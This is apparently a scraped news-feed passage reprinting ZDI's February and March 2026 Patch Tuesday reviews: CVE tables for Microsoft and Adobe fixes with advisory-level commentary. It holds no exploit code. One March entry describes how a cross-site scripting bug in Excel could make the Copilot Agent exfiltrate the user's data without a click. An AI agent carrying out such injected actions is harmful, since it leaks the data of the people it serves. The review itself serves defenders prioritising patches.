  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21527"><span><span> </span>CVE-2026-21527<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Exchange Server Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21260"><span><span> </span>CVE-2026-21260<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21229"><span><span> </span>CVE-2026-21229<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Power BI Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21236"><span><span> </span>CVE-2026-21236<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21238"><span><span> </span>CVE-2026-21238<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21241"><span><span> </span>CVE-2026-21241<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Ancillary Function Driver for
  WinSock Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21517"><span><span> </span>CVE-2026-21517<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows App for Mac Installer Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21234"><span><span> </span>CVE-2026-21234<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Connected Devices Platform Service
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21235"><span><span> </span>CVE-2026-21235<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21246"><span><span> </span>CVE-2026-21246<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Graphics Component Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21232"><span><span> </span>CVE-2026-21232<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21240"><span><span> </span>CVE-2026-21240<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21250"><span><span> </span>CVE-2026-21250<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows HTTP.sys Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21244"><span><span> </span>CVE-2026-21244<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21247"><span><span> </span>CVE-2026-21247<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21248"><span><span> </span>CVE-2026-21248<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21255"><span><span> </span>CVE-2026-21255<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Hyper-V Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21231"><span><span> </span>CVE-2026-21231<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21239"><span><span> </span>CVE-2026-21239<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21245"><span><span> </span>CVE-2026-21245<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21222"><span><span> </span>CVE-2026-21222<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Kernel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">5.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Info</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21243"><span><span> </span>CVE-2026-21243<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Lightweight Directory Access
  Protocol (LDAP) Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-20841"><span><span> </span>CVE-2026-20841<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Notepad App Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21249"><span><span> </span>CVE-2026-21249<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows NTLM Spoofing Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">3.3</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21508"><span><span> </span>CVE-2026-21508<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Storage Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21237"><span><span> </span>CVE-2026-21237<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21242"><span><span> </span>CVE-2026-21242<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Subsystem for Linux Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1861"><span><span> </span>CVE-2026-1861 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1861 Heap buffer overflow
  in libvpx<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-1862"><span><span> </span>CVE-2026-1862 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Chromium: CVE-2026-1862 Type Confusion in
  V8<span> </span></td>
  <td class="xl67"><span> </span>High</td>
  <td class="xl65">N/A</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-0391"><span><span> </span>CVE-2026-0391<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Edge (Chromium-based) for Android
  Spoofing Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="151"></td>
  <td width="263"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="111"></td>
  <td width="95"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Moving on to the Critical-rated bugs, the patch for Azure Front Door sounds frightening, but Microsoft has already fixed the bug and is just now documenting it. That’s also true for the bugs in Azure Arc and Azure Function. There are two Critical-rated bugs in the ACI Confidential Containers. The first allows a container escape while the second discloses secret tokens and keys. Either way, you’ll want to handle those quickly.</p><p class="">Taking a look at the other code execution vulnerabilities in this month’s release, we start with a frightening looking bug in Azure SDK for Python that has the highest CVSS this month of 9.8. A remote, unauthenticated attacker code gain code execution on an affected system via a maliciously crafted continuation token. It’s not clear why this isn’t rated Critical, but I would treat it as such. The three bugs in Hyper-V are actually local open-and-own bugs that require a user to open a malicious file on an affected system. That’s also true for the bug in Notepad. The bug in Power BI is confusing, because Microsoft says it requires authentication and could lead to an attacker running code as an authenticated user. There’s the poorly named “Azure Local Remote Code Execution Vulnerability”, but it requires a machine-in-the-middle (MitM) to exploit. The bug in Defender for Endpoint Linux is restricted to local subnets, but you’ll need to enable auto provisioning to get the patch. The final code execution bugs addressed this month are in GitHub Copilot. Two are command injections and the other is a Time-of-check time-of-use (toctou) race condition, but both could end up in code execution on affected systems.</p><p class="">Patches for Elevation of Privilege (EoP) bugs make up nearly 50% of this release, but most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges. There are only two of note. The first is a command injection bug in GitHub Copilot that leads to executing code at the level of the targeted application. The second is a bug in a kernel that leads to SYSTEM but could also be used for a sandbox escape.</p><p class="">There’s a unusually high number of spoofing bugs in this month’s release, and the ones for Outlook are the most troubling. First, the Preview Pane is an attack vector. Secondly, the bugs could be used to relay NTLM credentials via just an email, which could result in credential disclosure. And you’ll need multiple patches to fully address these bugs. At least they can be applied in any order.  There’s a UI misrepresentation bug in Exchange Server that could allow an attacker to either view some sensitive information or “make changes to disclosed information”. At what point does data become disclosed? That odd phrasing makes me think they are using AI to right some of their descriptions. The phrasing also appears in the patch for NTLM. That bug is triggered by opening a specially crafted Office doc, and while they explicitly say it could be used to relay NTLM creds, it sure seems that way. The patch for .NET and Visual Studio fixes a bug that allows attackers to bypass header validation, resulting in the service accepting a message it should reject. Finally, the bug in Azure HDInsight is really just a cross-site scripting (XSS) bug. The caveat here is that you need to restart Ambari server in both of the head nodes to have this fix updated. There is also an XSS in Azure Devops Server, but at least it is labelled as such.</p><p class="">There are a couple of additional security feature bypass bugs to discuss. The first is in Hyper-V and bypasses the Virtualization-based Security feature. The other is in GitHub Copilot and Visual Studio Code. It’s another command injection, but this one can be used to bypass authentication. Neat.</p><p class="">Looking at the remaining info disclosure bugs getting patched this month, most simply result in info leaks consisting of unspecified memory contents or memory addresses. The exception is the bug in Azure IoT Explorer. This bug could be used to view the contents of the target user’s local file system.</p><p class="">We end this month’s release with two DoS bugs: one in LDAP and one in GDI+. Neither descriptions from Microsoft provide any usable information.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">I plan on being back home for the March release but wherever I’m at, you can rest assured that March 10, I’ll be here to provide my assessment of the release. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The March 2026 Security Update Review]]></title>
<description><![CDATA[I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d...]]></description>
<link>https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694472/it-security-nachrichten/the-march-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:43 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I am back in the friendly confines of the Mid-South headquarters of TrendAI ZDI (a.k.a. my home office), and am all set for the third patch Tuesday of 2026. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft.If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for March 2026</strong></p><p class="">For March, Adobe released eight bulletins addressing 80 unique CVEs in Adobe Acrobat Reader, Commerce, Illustrator, Substance 3D Painter, Premier Pro, Experience Manager, Substance 3D Stager, and the Adobe DNG Software Development Kit (SDK). Two of these bugs were submitted through the TrendAI ZDI program. If you need to prioritize, the update for <a href="https://helpx.adobe.com/security/products/acrobat/apsb26-26.html">Acrobat</a> likely has the most impact, with the patch fixing two Critical-rated and one Important bugs. The fix for <a href="https://helpx.adobe.com/security/products/experience-manager/apsb26-24.html">Experience Manager</a> is the largest this month with 33 CVEs addressed. However, these are simple cross-site scripting (XSS) bugs, so it’s not too exciting. The fix for <a href="https://helpx.adobe.com/security/products/magento/apsb26-05.html">Commerce</a> is also quite large with 19 CVEs. Most of these are also XSS bugs, but there’s a few security feature bypass bugs in there, too. Adobe actually gives this patch a deployment priority of 2, but it’s not under active attack at the time of release. </p><p class="">The fix for <a href="https://helpx.adobe.com/security/products/illustrator/apsb26-18.html">Illustrator</a> corrects seven bugs, including a few Critical-rated ones. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-25.html">Substance 3D Painter</a> fixes nine different CVEs, all rated Important. That’s not the case for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-29.html">Substance 3D Stager</a>, which fixes six different Critical bugs that could lead to arbitrary code execution. The patch for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-30.html">Adobe DNG Software Development Kit</a> (SDK) addresses one Critical and one Important bug. Finally, the update for Premiere Pro correct a single, Critical-rated bug that could lead to arbitrary code execution. </p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and beyond the update for Commerce, all of the other updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for March 2026</strong></p><p class="">This month, Microsoft released 84 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, SQL Server, Hyper-V Server, and the Windows Resilient File System (ReFS). Counting the third-party and Chromium updates listed in the release, it brings to total number of CVEs to 94. Five of these bugs were reported through the TrendAI ZDI program. Eight of these bugs are rated Critical, and the rest are rated Important in severity.</p><p class="">This volume is relatively typical for a March release, and the lack of bugs under active attack is a nice change from last month. There are two vulnerabilities listed as publicly known at the time of release, but none listed as actively exploited.</p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with a bug with an AI slant:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><strong>CVE-2026-26144</strong></a><strong> - Microsoft Excel Information Disclosure Vulnerability<br></strong>This is a fascinating bug and an attack scenario we’re likely to see more often. The vulnerability is a simple cross-site scripting (XSS) bug in Excel, but an attacker could use it to cause the Copilot Agent to exfiltrate data off the target. This essentially makes it a zero-click information disclosure. Although not stated, the disclosure is likely at the level of the logged-on user, so there isn’t a privilege escalation component. Info disclosures rarely get rated Critical, but it makes sense here.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><strong>CVE-2026-26110</strong></a><strong>/</strong><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><strong>CVE-2026-26113</strong></a><strong> - Microsoft Office Remote Code Execution Vulnerability <br></strong>Another month and another pair of Office bugs where the Preview Pane is an exploit vector. I’ve lost count of how many of these bugs have been patched over the last year, but it’s just a matter of time until they start appearing in active exploits. The latest versions of Outlook allow you to hide the Preview Pane, but it isn’t clear if this would mitigate these attacks. The best option is still to test and deploy the update, but considering how many of these patches exist, it’s likely further updates will be needed to fully address these issues.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23669"><strong>CVE-2026-23669</strong></a><strong> - Windows Print Spooler Remote Code Execution Vulnerability<br></strong>Just reading the title makes me twitch with remembrances of <a href="https://en.wikipedia.org/wiki/PrintNightmare">Print Nightmare</a> from a few years ago. This bug works in the same manner as those exploits. An authenticated attacker sends specially crafted messages to an affected system to gain arbitrary code execution. No user interaction is required. Let’s hope we don’t end up in a new nightmare of spooler exploits. Test and deploy this one quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23668"><strong>CVE-2026-23668</strong></a><strong> - Windows Graphics Component Elevation of Privilege Vulnerability<br></strong>This vulnerability was submitted to the ZDI program by Marcin Wiązowski as two separate bugs, and it demonstrates the need for variant investigations when creating security patches. Both cases are caused by the lack of proper locking when performing operations on an object. However, in one case, it’s in the cdd.dll driver while the other is in the win32kfull driver. Either way, an attacker could use these to elevate privileges to SYSTEM and execute arbitrary code. Since the fix for both is to add object locking to the GDI object, the cases are combined into a single CVE. That’s not a problem, but it does show how variants can occur, and fixes should be as broad as possible.</p><p class="">Here’s the full list of CVEs released by Microsoft for March 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-March.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl65">
 <col width="263" class="xl66">
 <col width="111" class="xl67" span="4">
 <col width="95" class="xl67">
 <col width="645" class="xl65">
 <tr height="47">
  <td width="151" class="xl65" height="47"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl66"><span> </span>Title<span> </span></td>
  <td width="111" class="xl67"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl67"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl67"><span> </span>Public</td>
  <td width="111" class="xl67"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl67"><span> </span>Type<span> </span></td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26127"><span><span> </span>CVE-2026-26127<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>.NET Denial of Service Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21262"><span><span> </span>CVE-2026-21262<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>SQL Server Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl67">8.8</td>
  <td class="xl68"><span> </span>Yes<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-23651"><span><span> </span>CVE-2026-23651<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26124"><span><span> </span>CVE-2026-26124<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Elevation of Privilege Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.7</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26122"><span><span> </span>CVE-2026-26122<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft ACI Confidential Containers
  Information Disclosure Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">6.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="69">
  <td class="xl72" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21536"><span><span> </span>CVE-2026-21536<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Devices Pricing Program Remote
  Code Execution Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">9.8</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26144"><span><span> </span>CVE-2026-26144<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Excel Information Disclosure
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">7.5</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">Info</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26110"><span><span> </span>CVE-2026-26110<span> </span></span></a></td>
  <td width="263" class="xl66"><span> </span>Microsoft Office Remote Code Execution
  Vulnerability<span> </span></td>
  <td class="xl71"><span> </span>Critical<span> </span></td>
  <td class="xl67">8.4</td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67"><span> </span>No<span> </span></td>
  <td class="xl67">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl72" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26113"><span><span> </span>CVE-2026-26113<span> </span></span></a></td>
